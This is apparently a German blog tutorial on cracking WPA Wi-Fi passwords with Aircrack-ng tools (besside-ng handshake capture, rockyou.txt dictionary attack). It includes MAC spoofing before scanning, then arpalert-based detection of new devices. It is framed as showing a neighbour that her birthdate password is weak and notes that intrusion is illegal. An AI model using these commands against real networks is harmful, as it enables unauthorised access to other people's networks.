Viele Anleitungen und auch die gängige Fachliteratur nutzen die klassischen Tools der Aircrack-ng Suite airodump-ng(8) und aireplay-ng(8). Vergleiche diese Anleitung: How to Crack WPA/WPA2
Die Aircrack-ng Suite bietet aber auch experimentelle Tools wie besside-ng(8), um ein WLAN zu hacken. Es knackt einen WEP- oder WPA-Schlüssel ohne Benutzereingriff.
Installation der Aircrack-ng Suite
Die Aircrack-ng Suite kann über die Paketverwaltung installiert werden:
apt install aircrack-ng
Es empfiehlt sich jedoch die experimentellen Tools, direkt von Upstream zu installieren:
# Bauabhänigkeiten installieren
apt build-dep aircrack-ng
# Aircrack-ng aus den Quellen installieren
git clone https://github.com/aircrack-ng/aircrack-ng
cd aircrack-ng
NOCONFIGURE=1 ./autogen.sh
./configure --with-ext-scripts # enable experimental, extra scripts
make
make install
Die Tools liegen nun unterhalb von /usr/local und sind im PATH, so dass diese direkt in der Shell ausgeführt werden können.
MAC-Address spoofing
Bevor man das WLAN scannt, sollte man die MAC-Adresse des eigenen Adapter ändern. Dafür eignet sich z.B. das Tool macchanger(1):
apt install macchanger
macchanger -a wlan0 # set random vendor MAC of the same kind
Siehe auch: www.privacy-handbuch.de
Wordlist
Vorweg muss gesagt werden, dass sich WPA, aktuell nur mittels Wörterbuch/Brute Force angreifen lässt.
Kali Linux hat im Paket wordlists das rockyou.txt Wörterbuch, das wie folgt installiert wird:
apt install wordlists
gunzip /usr/share/wordlists/rockyou.txt.gz # entpacken
WLAN-Passwort knacken
WLAN-Passwörter können eine Länge von 8 bis 63 Zeichen haben. Laut den Vorgaben des BSI sollte das Passwort aus mindestens 20 Zeichen bestehen, was vom gewählten Verschlüsselungsverfahren unabhängig gilt.
besside-ng
# WLAN-Adapter in den monitor mode schalten
airmon-ng start wlan0
# WPA-Handshakes aufzeichnen
besside-ng -vvv wlan0mon
# Log verfolgen
tail -f ./besside.log
Die WPA-Handshakes werden in der Datei ./wpa.cap gespeichert.
# Den monitor mode wieder abschalten
airmon-ng stop wlan0mon
Versuchen das WLAN-Passwort zu erraten:
aircrack-ng -w /usr/share/wordlists/rockyou.txt ./wpa.cap
Über neue Geräte im WLAN benachrichtigt werden
Mit dem Tool arpalert(8) können neue Geräte im Netzwerk anhand der MAC-Adresse erkannt werden.
apt install arpalert
Dies installiert das Paket arpalert über die Paketverwaltung.
In der Datei /etc/arpalert/arpalert.conf muss der Wert für das zu überwachende Interface gesetzt werden, ansonsten wird einfach das erste Interface genommen. Es können mehrere Interfaces durch Kommata getennt angegeben werden.
interface = wlan0
Auch muss in der Datei /etc/arpalert/arpalert.conf ein Script für action on detect angegeben werden, das bei Alarm eine Aktion auslöst. Im Beispiel unten, soll eine E-Mail an root gesendet werden.
action on detect = /usr/local/sbin/arpalert-action-on-detect # s.u.
#!/usr/bin/env sh
# ARP alert action
# grep "action on detect" /etc/arpalert/arpalert.conf
# action on detect = /usr/local/sbin/arpalert-action-on-detect
mac="$1"
ip="$2"
extras="$3"
device="$4"
type_of_alert="$5"
vendor="$6"
case "$type_of_alert" in
0) subject="IP change $ip ($vendor)" ;;
1) subject="MAC already detected but not in white list" ;;
2) subject="MAC in black list" ;;
3) subject="New MAC $mac ($vendor)" ;;
4) subject="Unauthorized arp request" ;;
5) subject="Abusive number of arp request detected" ;;
6) subject="Ethernet MAC different from ARP MAC" ;;
7) subject="Flood detected" ;;
8) subject="New MAC whithout IP $mac ($vendor)" ;;
9) subject="MAC change $mac ($vendor)" ;;
10) subject="MAC expiere $mac ($vendor)" ;;
*) subject="n/a" ;;
esac
mail -s "$subject" root <<!
$device $ip $mac $vendor
$subject ($type_of_alert)
$extras
!
Damit das eigene Gerät keinen Alarm auslöst, muss dessen MAC-Adressen in die Datei /etc/arpalert/maclist.allow eingetragen werden und weiterhin angegeben werden, dass die Events für ip_change und new_mac ignoriert werden sollen:
cat <<! >>/etc/arpalert/maclist.allow
XX:XX:XX:YY:YY:YY 0.0.0.0 wlan0 ip_change
!
service arpalert force-reload
Weitere Geräte können, dem obigen Schema folgend, als neue Zeilen hinzugefügt werden.
Ein WLAN-Router kann i.d.R. auch so konfiguriert werden, dass nur bestimmte MAC-Adressen (Geräte) überhaupt eine Verbinung aufbauen dürfen (Whitelist).
Die .leases leeren:
service arpalert stop
>/var/lib/arpalert/arpalert.leases
service arpalert start
Schlusswort
Diesen Artikel habe ich geschrieben, um einer Bekannten Nachbarin die ihr Geburtsdatum als WLAN-Passwort gesetzt hat zu zeigen, dass es nur wenige Minuten braucht, bis man dieses erraten hat. Ich habe dazu ein Wörterbuch erstellt, das ein paar Datumsangaben enthält: dates.gz
Wer sich ernsthaft in des Nachbarn WLAN einloggen will, sollte bedenken, dass MAC-Adresse und Hostname im WLAN-Router geloggt werden. Und vor allem, dass es verboten ist. Vielleicht mag noch jemand den Straftatbestand und das mögliche Strafmaß in die Kommentare schreiben!
Links und Weiterführendes